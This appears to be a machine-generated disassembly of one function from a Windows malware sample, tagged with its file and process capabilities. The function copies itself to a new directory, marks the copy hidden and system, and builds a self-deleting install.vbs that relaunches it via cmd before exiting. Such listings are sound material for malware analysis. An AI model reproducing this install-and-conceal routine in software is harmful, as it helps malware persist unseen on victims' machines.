Function at 0x40a9ab
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
xor ebx, ebx
mov byte [ebp - 5], cl
push edi
mov esi, edx
mov dword [ebp - 0x10], ebx
lea edi, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x40a9c4
sub edx, edi
mov edi, 0x46e5c0
sar edx, 1
je 0x40aa22
push ebx
mov ecx, edi
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push ebx
push 0x4609b8
mov edx, edi
call fcn.00407677
pop ecx
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.00403098
pop ecx
mov edi, 0x46e590
push eax
mov ecx, edi
call fcn.00401eec
lea ecx, [ebp - 0x58]
call fcn.00401ee2
lea ecx, [ebp - 0x28]
jmp 0x40aa41
mov ebx, dword [ebp + 8]
mov dl, cl
push ebx
lea ecx, [ebp - 0x58]
call fcn.00418a4b
pop ecx
mov edi, 0x46e590
push eax
mov ecx, edi
call fcn.00401eec
lea ecx, [ebp - 0x58]
call fcn.00401ee2
mov ecx, edi
call fcn.00401edd
mov ecx, eax
mov eax, 0x46daf8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40aa7c
test dx, dx
je 0x40aa76
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40aa7c
add eax, 4
add ecx, 4
test dx, dx
jne 0x40aa54
xor ecx, ecx
mov eax, ecx
jmp 0x40aa83
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
jne 0x40aaa1
mov ecx, 0x46e578
call fcn.00401edd
push eax
push ecx
call fcn.0040a8ba
pop ecx
pop ecx
mov al, 1
jmp 0x40ada1
push ecx
mov ecx, edi
call fcn.00401edd
push eax
push 0x46daf8
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40ab66
cmp byte [ebp - 5], 0x36
je 0x40ab66
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x10]
jne 0x40aacc
sub ecx, edx
mov dl, 0x36
sar ecx, 1
push ebx
lea ecx, [ebp - 0x40]
je 0x40ab26
push 0x4609b8
push esi
call fcn.00418a4b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403098
pop ecx
push eax
mov ecx, edi
call fcn.00401eec
lea ecx, [ebp - 0x88]
call fcn.00401ee2
lea ecx, [ebp - 0x70]
call fcn.00401ee2
jmp 0x40ab34
call fcn.00418a4b
pop ecx
push eax
mov ecx, edi
call fcn.00401eec
lea ecx, [ebp - 0x40]
call fcn.00401ee2
xor eax, eax
mov ecx, edi
push eax
call fcn.00401edd
push eax
mov ebx, 0x46daf8
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40ab66
push ebx
mov ecx, edi
call fcn.00409dfe
xor al, al
jmp 0x40ada1
mov ecx, 0x46e578
call fcn.00401edd
push eax
push ecx
call fcn.0040a8ba
cmp byte [ebp + 0xc], 1
pop ecx
pop ecx
jne 0x40abb6
push 7
mov ecx, edi
call fcn.00401edd
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
lea edx, [esi + 2]
xor ecx, ecx
mov ax, word [esi]
add esi, 2
cmp ax, cx
jne 0x40ab96
sub esi, edx
sar esi, 1
je 0x40abb6
push 7
mov ecx, 0x46e5c0
call fcn.00401edd
push eax
call ebx
push str.install.vbs
push 0x461088
call fcn.00437aef
pop ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x40]
call fcn.00401ee2
push str.WScript.Sleep_1000_n
lea ecx, [ebp - 0x28]
call fcn.00404260
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x28]
call fcn.0040778c
cmp byte [ebp + 0x10], 1
mov ebx, 0x46112c
jne 0x40acab
push ebx
mov esi, 0x4604d4
lea ecx, [ebp - 0xd0]
push esi
push 0x46daf8
call fcn.00404260
push eax
push esi
push 0x461130
lea ecx, [ebp - 0xb8]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0xa0]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00403303
lea ecx, [ebp - 0x40]
call fcn.00401ee2
lea ecx, [ebp - 0x70]
call fcn.00401ee2
lea ecx, [ebp - 0x88]
call fcn.00401ee2
lea ecx, [ebp - 0xa0]
call fcn.00401ee2
lea ecx, [ebp - 0xb8]
call fcn.00401ee2
lea ecx, [ebp - 0xd0]
call fcn.00401ee2
push ebx
push str._____0
lea ecx, [ebp - 0x70]
call fcn.00404260
push eax
push edi
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x40]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0xa0]
call fcn.0040440a
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0xd0]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00403303
lea ecx, [ebp - 0xd0]
call fcn.00401ee2
lea ecx, [ebp - 0xb8]
call fcn.00401ee2
lea ecx, [ebp - 0xa0]
call fcn.00401ee2
lea ecx, [ebp - 0x40]
call fcn.00401ee2
lea ecx, [ebp - 0x70]
call fcn.00401ee2
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x28]
call fcn.0040778c
xor ebx, ebx
lea ecx, [ebp - 0x58]
push ebx
call fcn.00401edd
push eax
lea ecx, [ebp - 0x28]
call fcn.0040247b
mov esi, eax
lea ecx, [ebp - 0x28]
add esi, esi
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40ad91
push ebx
mov eax, 0x46079c
lea ecx, [ebp - 0x58]
push eax
push eax
call fcn.00401edd
push eax
push 0x46075c
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40ad91
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x28]
call fcn.00401ee2
lea ecx, [ebp - 0x58]
call fcn.00401ee2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret